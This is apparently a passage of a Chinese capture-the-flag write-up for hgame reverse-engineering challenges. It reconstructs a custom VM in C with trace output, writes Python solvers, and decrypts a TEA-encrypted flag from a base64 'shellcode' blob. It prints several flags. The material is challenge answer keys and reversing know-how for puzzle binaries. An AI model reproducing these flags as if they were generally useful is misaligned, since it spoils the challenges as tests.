        [3, 7, 11, 15],
        [0, 5, 10, 15],
        [1, 6, 11, 12],
        [2, 7, 8, 13],
        [3, 4, 9, 14],
    ]
    # print(type(block))
    for _ in range(10):
        for round in steps:
            block[round] = quarterround(*(block[round]))
    return block
def _xor(data_1, data_2):
    return [a ^ b for a, b in zip(data_1, data_2)]
def encrypt(plaintext):
    '''
    global matrix
    # Add the 4-byte block number
    # matrix[12] = counter
    state = matrix.copy()
    state = rounds(state)
    # Create the final state
    final = state + matrix
    # Serialize the final state
    # print(hex(c_uint32(final[0]).value))
    '''
    final = np.array(
        [0x4037A04E, 0xFDDA0246, 0x3C6EFA21, 0xCF9CD9AF, 0x673347B9, 0x0DEC4EE0, 0x1380C4D1, 0x3AB2A932, 0x025D50A7,
         0x834A3982, 0xCB6EA25F, 0xA26BA4AB, 0xA1C42135, 0xD1063EBA, 0x2397FEFC, 0x55C7D126], dtype=np.uint32)
    serial_out = struct.pack("<16L", *final)
    ciphertext = bytes(_xor(serial_out, plaintext))
    return ciphertext
def decrypt(ciphertext):
    return encrypt(ciphertext)
'''
matrix = np.array(
    [0x61707865, 0x3320646E, 0x79622D32, 0x6B206574,
     0x00000068, 0x00000067, 0x00000061, 0x0000006D,
     0x00000065, 0x0000007B, 0x00000074, 0x00000068,
     0x12345678, 0x00000068, 0x00000067, 0x00000061], dtype=np.uint32)
'''
_ciphertext = [40, 80, -63, 35, -104, -95, 65, 54, 76, 49, -53, 82, -112, -15, -84, -52, 15, 108, 42, -119, 127, -33,
               17,
               -124,
               127, -26, -94, -32, 89, -57, -59, 70, 93, 41, 56, -109, -19, 21, 122, -1]
ciphertext = [0 for _ in range(40)]
for i in range(0, len(_ciphertext), 4):
    ciphertext[i] = _ciphertext[i + 3]
    ciphertext[i + 1] = _ciphertext[i + 2]
    ciphertext[i + 2] = _ciphertext[i + 1]
    ciphertext[i + 3] = _ciphertext[i]
# print(ciphertext)
for i in range(len(ciphertext)):
    if ciphertext[i] < 0:
        ciphertext[i] += 256
ciphertext = bytearray(ciphertext)
flag = decrypt(ciphertext)
for i in range(0, len(_ciphertext), 4):
    print(chr(flag[i+3]),chr(flag[i+2]),chr(flag[i+1]),chr(flag[i]),end='',sep='')# hgame{Cpp_1s_much_m0r3_dlff1cult_th4n_C}

# week4

# vm

写个正向的代码

#include<stdio.h>
unsigned char key[1008] = {
    0x00, 0x03, 0x02, 0x00, 0x03, 0x00, 0x02, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 
    0x00, 0x03, 0x02, 0x32, 0x03, 0x00, 0x02, 0x03, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00, 
    0x00, 0x03, 0x02, 0x64, 0x03, 0x00, 0x02, 0x03, 0x00, 0x00, 0x00, 0x00, 0x03, 0x03, 0x01, 0x00, 
    0x00, 0x03, 0x00, 0x08, 0x00, 0x02, 0x02, 0x01, 0x03, 0x04, 0x01, 0x00, 0x03, 0x05, 0x02, 0x00, 
    0x03, 0x00, 0x01, 0x02, 0x00, 0x02, 0x00, 0x01, 0x01, 0x00, 0x00, 0x03, 0x00, 0x01, 0x03, 0x00, 
    0x03, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x03, 0x01, 0x28, 0x04, 0x06, 0x5F, 0x05, 0x00, 0x00, 
    0x03, 0x03, 0x00, 0x02, 0x01, 0x00, 0x03, 0x02, 0x96, 0x03, 0x00, 0x02, 0x03, 0x00, 0x00, 0x00, 
    0x00, 0x04, 0x07, 0x88, 0x00, 0x03, 0x00, 0x01, 0x03, 0x00, 0x03, 0x00, 0x00, 0x02, 0x00, 0x03, 
    0x00, 0x03, 0x01, 0x28, 0x04, 0x07, 0x63, 0xFF, 0xFF};
unsigned int input[200] = {
    0x00000030, 0x00000031, 0x00000032, 0x00000033, 0x00000034, 0x00000035, 0x00000036, 0x00000037,
    0x00000038, 0x00000039, 0x00000030, 0x00000031, 0x00000032, 0x00000033, 0x00000034, 0x00000035,
    0x00000036, 0x00000037, 0x00000038, 0x00000039, 0x00000030, 0x00000031, 0x00000032, 0x00000033,
    0x00000034, 0x00000035, 0x00000036, 0x00000037, 0x00000038, 0x00000039, 0x00000030, 0x00000031,
    0x00000032, 0x00000033, 0x00000034, 0x00000035, 0x00000036, 0x00000037, 0x00000038, 0x00000039,
    0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000,
    0x00000000, 0x00000000, 0x0000009B, 0x000000A8, 0x00000002, 0x000000BC, 0x000000AC, 0x0000009C,
    0x000000CE, 0x000000FA, 0x00000002, 0x000000B9, 0x000000FF, 0x0000003A, 0x00000074, 0x00000048,
    0x00000019, 0x00000069, 0x000000E8, 0x00000003, 0x000000CB, 0x000000C9, 0x000000FF, 0x000000FC,
    0x00000080, 0x000000D6, 0x0000008D, 0x000000D7, 0x00000072, 0x00000000, 0x000000A7, 0x0000001D,
    0x0000003D, 0x00000099, 0x00000088, 0x00000099, 0x000000BF, 0x000000E8, 0x00000096, 0x0000002E,
    0x0000005D, 0x00000057, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000,
    0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x000000C9, 0x000000A9, 0x000000BD, 0x0000008B,
    0x00000017, 0x000000C2, 0x0000006E, 0x000000F8, 0x000000F5, 0x0000006E, 0x00000063, 0x00000063,
    0x000000D5, 0x00000046, 0x0000005D, 0x00000016, 0x00000098, 0x00000038, 0x00000030, 0x00000073,
    0x00000038, 0x000000C1, 0x0000005E, 0x000000ED, 0x000000B0, 0x00000029, 0x0000005A, 0x00000018,
    0x00000040, 0x000000A7, 0x000000FD, 0x0000000A, 0x0000001E, 0x00000078, 0x0000008B, 0x00000062,
    0x000000DB, 0x0000000F, 0x0000008F, 0x0000009C, 0x00000000, 0x00000000, 0x00000000, 0x00000000,
    0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00004800, 0x0000F100,
    0x00004000, 0x00002100, 0x00003501, 0x00006400, 0x00007801, 0x0000F900, 0x00001801, 0x00005200,
    0x00002500, 0x00005D01, 0x00004700, 0x0000FD00, 0x00006901, 0x00005C00, 0x0000AF01, 0x0000B200,
    0x0000EC01, 0x00005201, 0x00004F01, 0x00001A01, 0x00005000, 0x00008501, 0x0000CD00, 0x00002300,
    0x0000F800, 0x00000C00, 0x0000CF00, 0x00003D01, 0x00004501, 0x00008200, 0x0000D201, 0x00002901,
    0x0000D501, 0x00000601, 0x0000A201, 0x0000DE00, 0x0000A601, 0x0000CA01, 0x00000000, 0x00000000,
    0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
int a1[9] = { 0 };
int reg[80] = { 0 };
int main() {
    int count = 1,count_func5 = 1;
    while (key[a1[6]] != 255) {
        printf("count:%d, call func%d, ",count++, key[a1[6]]);
        switch (key[a1[6]])
        {
        case 0u:
            printf("run opcode: %d %d %d %d", key[a1[6]], key[a1[6] + 1], key[a1[6] + 2], key[a1[6] + 3]);
            if (key[a1[6] + 1])
            {
                switch (key[a1[6] + 1])
                {
                case 1u:
                    printf(",input[%d] = a1[0]", a1[2]);
                    input[a1[2]] = a1[0];
                    break;
                case 2u:
                    printf(", a1[%d] = a1[%d]", key[a1[6] + 2],key[a1[6] + 3]);
                    a1[key[a1[6] + 2]] = a1[key[a1[6] + 3]];
                    break;
                case 3u:
                    printf(", a1[%d] = %d", key[a1[6] + 2], key[a1[6] + 3]);
                    a1[key[a1[6] + 2]] = key[a1[6] + 3];
                    break;
                }
            }
            else
            {
                printf(", a1[0] = input[%d]", a1[2]);
                a1[0] = input[a1[2]];
            }
            a1[6] = a1[6] + 4;
            printf(", a1[0~3] = %d, %d, %d, %d", a1[0], a1[1], a1[2], a1[3]);
            break;
        case 1u:
            printf("run opcode: %d %d", key[a1[6]], key[a1[6] + 1]);
            if (key[a1[6] + 1])
            {
                switch (key[a1[6] + 1])
                {
                case 1u:
                    reg[++a1[7]] = a1[0];
                    break;
                case 2u:
                    reg[++a1[7]] = a1[2];
                    break;
                case 3u:
                    reg[++a1[7]] = a1[3];
                    break;
                }
            }
            else
            {
                reg[++a1[7]] = a1[0];
            }
            a1[6] = a1[6] + 2;
            break;
        case 2u:
            printf("run opcode: %d %d", key[a1[6]], key[a1[6] + 1]);
            if (key[a1[6] + 1])
            {
                switch (key[a1[6] + 1])
                {
                case 1u:
                    a1[1] = reg[a1[7]--];
                    break;
                case 2u:
                    a1[2] = reg[a1[7]--];
                    break;
                case 3u:
                    a1[3] = reg[a1[7]--];
                    break;
                }
            }
            else
            {
                a1[0] = reg[a1[7]--];
            }
            a1[6] = a1[6] + 2;
            break;
        case 3u:
            printf("run opcode: %d %d %d %d", key[a1[6]], key[a1[6] + 1], key[a1[6] + 2], key[a1[6] + 3]);
            switch (key[a1[6] + 1])
            {
            case 0u:
                printf(", a1[%d] = a1[%d] + a1[%d]", key[a1[6] + 2], key[a1[6] + 2], key[a1[6] + 3]);
                a1[key[a1[6] + 2]] += a1[key[a1[6] + 3]];
                break;
            case 1u:
                printf(", a1[%d] = a1[%d] - a1[%d]", key[a1[6] + 2], key[a1[6] + 2], key[a1[6] + 3]);
                a1[key[a1[6] + 2]] -= a1[key[a1[6] + 3]];
                break;
            case 2u:
                printf(", a1[%d] = a1[%d] * a1[%d]", key[a1[6] + 2], key[a1[6] + 2], key[a1[6] + 3]);
                a1[key[a1[6] + 2]] *= a1[key[a1[6] + 3]];
                break;
            case 3u:
                printf(", a1[%d] = a1[%d] ^ a1[%d]", key[a1[6] + 2], key[a1[6] + 2], key[a1[6] + 3]);
                a1[key[a1[6] + 2]] ^= a1[key[a1[6] + 3]];
                break;
            case 4u:
                printf(", a1[%d] = (a1[%d] << a1[%d])&0xFF00", key[a1[6] + 2], key[a1[6] + 2], key[a1[6] + 3]);
                a1[key[a1[6] + 2]] <<= a1[key[a1[6] + 3]];
                a1[key[a1[6] + 2]] &= 0xFF00u;
                break;
            case 5u:
                printf(", a1[%d] = a1[%d] >> a1[%d]", key[a1[6] + 2], key[a1[6] + 2], key[a1[6] + 3]);
                a1[key[a1[6] + 2]] >>= a1[key[a1[6] + 3]];
                break;
            default:
                break;
            }
            a1[6] = a1[6] + 4;
            printf(", a1[0~3] = %d, %d, %d, %d", a1[0], a1[1], a1[2], a1[3]);
            break;
        case 4u:
            printf("run opcode: %d", key[a1[6]]);
            if (a1[0] == a1[1])
                a1[8] = 0;
            if (a1[0] != a1[1])
                a1[8] = 1;
            a1[6] = a1[6] + 1;
            break;
        case 5u:
            printf("run opcode: %d, ", key[a1[6]]);
            printf("change the opcode position from %d to %d, func5 count: %d", a1[6], key[a1[6] + 1], count_func5++);
            a1[6] = key[a1[6] + 1];
            break;
        case 6u:
            printf("run opcode: %d, ", key[a1[6]]);
            if (a1[8]) {
                printf("change the opcode position from %d to %d", a1[6], a1[6] + 2);
                a1[6] = (a1[6] + 2);
            }
            else {
                printf("change the opcode position from %d to %d", a1[6], key[a1[6] + 1]);
                a1[6] = key[a1[6] + 1];
            }
                
            break;
        case 7u:
            printf("run opcode: %d, ", key[a1[6]]);
            if (a1[8]) {
                printf("change the opcode position from %d to %d", a1[6], key[a1[6] + 1]);
                a1[6] = key[a1[6] + 1];
            }
            else {
                printf("change the opcode position from %d to %d", a1[6], a1[6] + 2);
                a1[6] = (a1[6] + 2);
            }
            break;
        default:
            break;
        }
        printf("\n");
    }
}

部分输出如下

count:1, call func0, run opcode: 0 3 2 0, a1[2] = 0, a1[0~3] = 0, 0, 0, 0
count:2, call func3, run opcode: 3 0 2 3, a1[2] = a1[2] + a1[3], a1[0~3] = 0, 0, 0, 0
count:3, call func0, run opcode: 0 0 0 0, a1[0] = input[0], a1[0~3] = 48, 0, 0, 0
count:4, call func0, run opcode: 0 2 1 0, a1[1] = a1[0], a1[0~3] = 48, 48, 0, 0
count:5, call func0, run opcode: 0 3 2 50, a1[2] = 50, a1[0~3] = 48, 48, 50, 0
count:6, call func3, run opcode: 3 0 2 3, a1[2] = a1[2] + a1[3], a1[0~3] = 48, 48, 50, 0
count:7, call func0, run opcode: 0 0 0 0, a1[0] = input[50], a1[0~3] = 155, 48, 50, 0
count:8, call func3, run opcode: 3 0 1 0, a1[1] = a1[1] + a1[0], a1[0~3] = 155, 203, 50, 0
count:9, call func0, run opcode: 0 3 2 100, a1[2] = 100, a1[0~3] = 155, 203, 100, 0
count:10, call func3, run opcode: 3 0 2 3, a1[2] = a1[2] + a1[3], a1[0~3] = 155, 203, 100, 0
count:11, call func0, run opcode: 0 0 0 0, a1[0] = input[100], a1[0~3] = 201, 203, 100, 0
count:12, call func3, run opcode: 3 3 1 0, a1[1] = a1[1] ^ a1[0], a1[0~3] = 201, 2, 100, 0
count:13, call func0, run opcode: 0 3 0 8, a1[0] = 8, a1[0~3] = 8, 2, 100, 0
count:14, call func0, run opcode: 0 2 2 1, a1[2] = a1[1], a1[0~3] = 8, 2, 2, 0
count:15, call func3, run opcode: 3 4 1 0, a1[1] = (a1[1] << a1[0])&0xFF00, a1[0~3] = 8, 512, 2, 0
count:16, call func3, run opcode: 3 5 2 0, a1[2] = a1[2] >> a1[0], a1[0~3] = 8, 512, 0, 0
count:17, call func3, run opcode: 3 0 1 2, a1[1] = a1[1] + a1[2], a1[0~3] = 8, 512, 0, 0
count:18, call func0, run opcode: 0 2 0 1, a1[0] = a1[1], a1[0~3] = 512, 512, 0, 0
count:19, call func1, run opcode: 1 0
count:20, call func0, run opcode: 0 3 0 1, a1[0] = 1, a1[0~3] = 1, 512, 0, 0
count:21, call func3, run opcode: 3 0 3 0, a1[3] = a1[3] + a1[0], a1[0~3] = 1, 512, 0, 1
count:22, call func0, run opcode: 0 2 0 3, a1[0] = a1[3], a1[0~3] = 1, 512, 0, 1
count:23, call func0, run opcode: 0 3 1 40, a1[1] = 40, a1[0~3] = 1, 40, 0, 1
count:24, call func4, run opcode: 4
count:25, call func6, run opcode: 6, change the opcode position from 91 to 93
count:26, call func5, run opcode: 5, change the opcode position from 93 to 0, func5 count: 1
count:27, call func0, run opcode: 0 3 2 0, a1[2] = 0, a1[0~3] = 1, 40, 0, 1
count:28, call func3, run opcode: 3 0 2 3, a1[2] = a1[2] + a1[3], a1[0~3] = 1, 40, 1, 1
count:29, call func0, run opcode: 0 0 0 0, a1[0] = input[1], a1[0~3] = 49, 40, 1, 1
count:30, call func0, run opcode: 0 2 1 0, a1[1] = a1[0], a1[0~3] = 49, 49, 1, 1
count:31, call func0, run opcode: 0 3 2 50, a1[2] = 50, a1[0~3] = 49, 49, 50, 1
count:32, call func3, run opcode: 3 0 2 3, a1[2] = a1[2] + a1[3], a1[0~3] = 49, 49, 51, 1
count:33, call func0, run opcode: 0 0 0 0, a1[0] = input[51], a1[0~3] = 168, 49, 51, 1
count:34, call func3, run opcode: 3 0 1 0, a1[1] = a1[1] + a1[0], a1[0~3] = 168, 217, 51, 1
count:35, call func0, run opcode: 0 3 2 100, a1[2] = 100, a1[0~3] = 168, 217, 100, 1
count:36, call func3, run opcode: 3 0 2 3, a1[2] = a1[2] + a1[3], a1[0~3] = 168, 217, 101, 1
count:37, call func0, run opcode: 0 0 0 0, a1[0] = input[101], a1[0~3] = 169, 217, 101, 1
count:38, call func3, run opcode: 3 3 1 0, a1[1] = a1[1] ^ a1[0], a1[0~3] = 169, 112, 101, 1
count:39, call func0, run opcode: 0 3 0 8, a1[0] = 8, a1[0~3] = 8, 112, 101, 1
count:40, call func0, run opcode: 0 2 2 1, a1[2] = a1[1], a1[0~3] = 8, 112, 112, 1
count:41, call func3, run opcode: 3 4 1 0, a1[1] = (a1[1] << a1[0])&0xFF00, a1[0~3] = 8, 28672, 112, 1
count:42, call func3, run opcode: 3 5 2 0, a1[2] = a1[2] >> a1[0], a1[0~3] = 8, 28672, 0, 1
count:43, call func3, run opcode: 3 0 1 2, a1[1] = a1[1] + a1[2], a1[0~3] = 8, 28672, 0, 1
count:44, call func0, run opcode: 0 2 0 1, a1[0] = a1[1], a1[0~3] = 28672, 28672, 0, 1
count:45, call func1, run opcode: 1 0
count:46, call func0, run opcode: 0 3 0 1, a1[0] = 1, a1[0~3] = 1, 28672, 0, 1
count:47, call func3, run opcode: 3 0 3 0, a1[3] = a1[3] + a1[0], a1[0~3] = 1, 28672, 0, 2
count:48, call func0, run opcode: 0 2 0 3, a1[0] = a1[3], a1[0~3] = 2, 28672, 0, 2
count:49, call func0, run opcode: 0 3 1 40, a1[1] = 40, a1[0~3] = 2, 40, 0, 2
count:50, call func4, run opcode: 4
count:51, call func6, run opcode: 6, change the opcode position from 91 to 93
count:52, call func5, run opcode: 5, change the opcode position from 93 to 0, func5 count: 2
......
.........
count:1015, call func0, run opcode: 0 3 2 0, a1[2] = 0, a1[0~3] = 39, 40, 0, 39
count:1016, call func3, run opcode: 3 0 2 3, a1[2] = a1[2] + a1[3], a1[0~3] = 39, 40, 39, 39
count:1017, call func0, run opcode: 0 0 0 0, a1[0] = input[39], a1[0~3] = 57, 40, 39, 39
count:1018, call func0, run opcode: 0 2 1 0, a1[1] = a1[0], a1[0~3] = 57, 57, 39, 39
count:1019, call func0, run opcode: 0 3 2 50, a1[2] = 50, a1[0~3] = 57, 57, 50, 39
count:1020, call func3, run opcode: 3 0 2 3, a1[2] = a1[2] + a1[3], a1[0~3] = 57, 57, 89, 39
count:1021, call func0, run opcode: 0 0 0 0, a1[0] = input[89], a1[0~3] = 87, 57, 89, 39
count:1022, call func3, run opcode: 3 0 1 0, a1[1] = a1[1] + a1[0], a1[0~3] = 87, 144, 89, 39
count:1023, call func0, run opcode: 0 3 2 100, a1[2] = 100, a1[0~3] = 87, 144, 100, 39
count:1024, call func3, run opcode: 3 0 2 3, a1[2] = a1[2] + a1[3], a1[0~3] = 87, 144, 139, 39
count:1025, call func0, run opcode: 0 0 0 0, a1[0] = input[139], a1[0~3] = 156, 144, 139, 39
count:1026, call func3, run opcode: 3 3 1 0, a1[1] = a1[1] ^ a1[0], a1[0~3] = 156, 12, 139, 39
count:1027, call func0, run opcode: 0 3 0 8, a1[0] = 8, a1[0~3] = 8, 12, 139, 39
count:1028, call func0, run opcode: 0 2 2 1, a1[2] = a1[1], a1[0~3] = 8, 12, 12, 39
count:1029, call func3, run opcode: 3 4 1 0, a1[1] = (a1[1] << a1[0])&0xFF00, a1[0~3] = 8, 3072, 12, 39
count:1030, call func3, run opcode: 3 5 2 0, a1[2] = a1[2] >> a1[0], a1[0~3] = 8, 3072, 0, 39
count:1031, call func3, run opcode: 3 0 1 2, a1[1] = a1[1] + a1[2], a1[0~3] = 8, 3072, 0, 39
count:1032, call func0, run opcode: 0 2 0 1, a1[0] = a1[1], a1[0~3] = 3072, 3072, 0, 39
count:1033, call func1, run opcode: 1 0
count:1034, call func0, run opcode: 0 3 0 1, a1[0] = 1, a1[0~3] = 1, 3072, 0, 39
count:1035, call func3, run opcode: 3 0 3 0, a1[3] = a1[3] + a1[0], a1[0~3] = 1, 3072, 0, 40
count:1036, call func0, run opcode: 0 2 0 3, a1[0] = a1[3], a1[0~3] = 40, 3072, 0, 40
count:1037, call func0, run opcode: 0 3 1 40, a1[1] = 40, a1[0~3] = 40, 40, 0, 40
count:1038, call func4, run opcode: 4
count:1039, call func6, run opcode: 6, change the opcode position from 91 to 95
count:1040, call func0, run opcode: 0 3 3 0, a1[3] = 0, a1[0~3] = 40, 40, 0, 0
count:1041, call func2, run opcode: 2 1
count:1042, call func0, run opcode: 0 3 2 150, a1[2] = 150, a1[0~3] = 40, 3072, 150, 0
count:1043, call func3, run opcode: 3 0 2 3, a1[2] = a1[2] + a1[3], a1[0~3] = 40, 3072, 150, 0
count:1044, call func0, run opcode: 0 0 0 0, a1[0] = input[150], a1[0~3] = 18432, 3072, 150, 0
count:1045, call func4, run opcode: 4
count:1046, call func7, run opcode: 7, change the opcode position from 114 to 136

用 python 简化一下

a = [0x9b, 0xa8, 0x2, 0xbc, 0xac, 0x9c, 0xce, 0xfa, 0x2, 0xb9, 0xff, 0x3a, 0x74, 0x48, 0x19, 0x69, 0xe8, 0x3, 0xcb,
     0xc9, 0xff, 0xfc, 0x80, 0xd6, 0x8d, 0xd7, 0x72, 0x0, 0xa7, 0x1d, 0x3d, 0x99, 0x88, 0x99, 0xbf, 0xe8, 0x96, 0x2e,
     0x5d, 0x57, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0]
b = [0xc9, 0xa9, 0xbd, 0x8b, 0x17, 0xc2, 0x6e, 0xf8, 0xf5, 0x6e, 0x63, 0x63, 0xd5, 0x46, 0x5d, 0x16, 0x98, 0x38, 0x30,
     0x73, 0x38, 0xc1, 0x5e, 0xed, 0xb0, 0x29, 0x5a, 0x18, 0x40, 0xa7, 0xfd, 0xa, 0x1e, 0x78, 0x8b, 0x62, 0xdb, 0xf,
     0x8f, 0x9c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0]
c = [0x4800, 0xf100, 0x4000, 0x2100, 0x3501, 0x6400, 0x7801, 0xf900, 0x1801, 0x5200, 0x2500, 0x5d01, 0x4700, 0xfd00,
     0x6901, 0x5c00, 0xaf01, 0xb200, 0xec01, 0x5201, 0x4f01, 0x1a01, 0x5000, 0x8501, 0xcd00, 0x2300, 0xf800, 0xc00,
     0xcf00, 0x3d01, 0x4501, 0x8200, 0xd201, 0x2901, 0xd501, 0x601, 0xa201, 0xde00, 0xa601, 0xca01, 0x0, 0x0, 0x0, 0x0,
     0x0, 0x0, 0x0, 0x0, 0x0, 0x0]
flag = '0123456789012345678901234567890123456789'
res = [0 for i in range(40)]
for i in range(40):
    x = a[i] + ord(flag[i])
    y = x ^ b[i]
    z = (y << 8) & 0xff00
    m = y >> 8
    n = z + m

写个 exp

a = [0x9b, 0xa8, 0x2, 0xbc, 0xac, 0x9c, 0xce, 0xfa, 0x2, 0xb9, 0xff, 0x3a, 0x74, 0x48, 0x19, 0x69, 0xe8, 0x3, 0xcb,
     0xc9, 0xff, 0xfc, 0x80, 0xd6, 0x8d, 0xd7, 0x72, 0x0, 0xa7, 0x1d, 0x3d, 0x99, 0x88, 0x99, 0xbf, 0xe8, 0x96, 0x2e,
     0x5d, 0x57]
b = [0xc9, 0xa9, 0xbd, 0x8b, 0x17, 0xc2, 0x6e, 0xf8, 0xf5, 0x6e, 0x63, 0x63, 0xd5, 0x46, 0x5d, 0x16, 0x98, 0x38, 0x30,
     0x73, 0x38, 0xc1, 0x5e, 0xed, 0xb0, 0x29, 0x5a, 0x18, 0x40, 0xa7, 0xfd, 0xa, 0x1e, 0x78, 0x8b, 0x62, 0xdb, 0xf,
     0x8f, 0x9c]
c = [0x4800, 0xf100, 0x4000, 0x2100, 0x3501, 0x6400, 0x7801, 0xf900, 0x1801, 0x5200, 0x2500, 0x5d01, 0x4700, 0xfd00,
     0x6901, 0x5c00, 0xaf01, 0xb200, 0xec01, 0x5201, 0x4f01, 0x1a01, 0x5000, 0x8501, 0xcd00, 0x2300, 0xf800, 0xc00,
     0xcf00, 0x3d01, 0x4501, 0x8200, 0xd201, 0x2901, 0xd501, 0x601, 0xa201, 0xde00, 0xa601, 0xca01]
c = [i for i in reversed(c)]
flag=''
for i in range(40):
    m = c[i] >> 8
    n = (c[i] & 0xff) << 8
    y = m + n
    y = y ^ b[i]
    y = y - a[i]
    flag += chr(y)
print(flag)# hgame{y0ur_rever5e_sk1ll_i5_very_g0od!!}

# shellcode

把 base64 字符串解码

import base64
with open('data','wb') as f:
    f.write(base64.b64decode('VUiD7FBIjWwkIEiJTUBIi0VAiwCJRQC4BAAAAEgDRUCLAIlFBMdFCAAAAADHRQwj782rx0UQFgAAAMdFFCEAAADHRRgsAAAAx0UcNwAAAMdFIAAAAACLRSCD+CBzWotFDANFCIlFCItFBMHgBANFEItVCANVBDPCi1UEweoFA1UUM8IDRQCJRQCLRQDB4AQDRRiLVQgDVQAzwotVAMHqBQNVHDPCA0UEiUUEuAEAAAADRSCJRSDrnkiLRUCLVQCJELgEAAAASANFQItVBIkQSI1lMF3D'))

然后用 ida 打开 data 文件

_DWORD *__fastcall sub_0(unsigned int *a1)
{
  _DWORD *result; // rax
  unsigned int v2; // [rsp+20h] [rbp+0h]
  unsigned int v3; // [rsp+24h] [rbp+4h]
  int v4; // [rsp+28h] [rbp+8h]
  unsigned int i; // [rsp+40h] [rbp+20h]
  v2 = *a1;
  v3 = a1[1];
  v4 = 0;
  for ( i = 0; i < 0x20; ++i )
  {
    v4 -= 0x543210DD;
    v2 += ((v3 >> 5) + 33) ^ (v3 + v4) ^ (16 * v3 + 22);
    v3 += ((v2 >> 5) + 55) ^ (v2 + v4) ^ (16 * v2 + 44);
  }
  *a1 = v2;
  result = a1 + 1;
  a1[1] = v3;
  return result;
}

看来是普通的 tea 加密

from ctypes import *
def encrypt(v, k):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x543210DD
    k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
    total = c_uint32(0)
    for i in range(32):
        total.value -= delta
        v0.value += ((v1.value << 4) + k0) ^ (v1.value + total.value) ^ ((v1.value >> 5) + k1)
        v1.value += ((v0.value << 4) + k2) ^ (v0.value + total.value) ^ ((v0.value >> 5) + k3)
    return v0.value, v1.value
def decrypt(v, k):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    delta = 0x543210DD
    k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
    total = c_uint32(-delta * 32)
    for i in range(32):
        v1.value -= ((v0.value << 4) + k2) ^ (v0.value + total.value) ^ ((v0.value >> 5) + k3)
        v0.value -= ((v1.value << 4) + k0) ^ (v1.value + total.value) ^ ((v1.value >> 5) + k1)
        total.value += delta
    return v0.value, v1.value
# test
if __name__ == "__main__":
    # 待加密的明文,两个 32 位整型,即 64bit 的明文数据
    value = [0, 0]
    # 四个 key,每个是 32bit,即密钥长度为 128bit
    key = [22, 33, 44, 55]
    with open('flag.enc', 'rb') as f:
        s = f.read()
    for i in range(0, len(s), 8):
        value[0] = (s[i + 3] << 24) + (s[i + 2] << 16) + (s[i + 1] << 8) + s[i]
        value[1] = (s[i + 7] << 24) + (s[i + 6] << 16) + (s[i + 5] << 8) + s[i + 4]
        res = decrypt(value, key)
        bytearray.fromhex(hex(res[0])[2::]).decode()
        print(bytearray.fromhex(hex(res[0])[2::]).decode()[::-1],sep='', end='')
        print(bytearray.fromhex(hex(res[1])[2::]).decode()[::-1],sep='', end='')
# hgame{th1s_1s_th3_tutu's_h0mew0rk}
更新于 阅读次数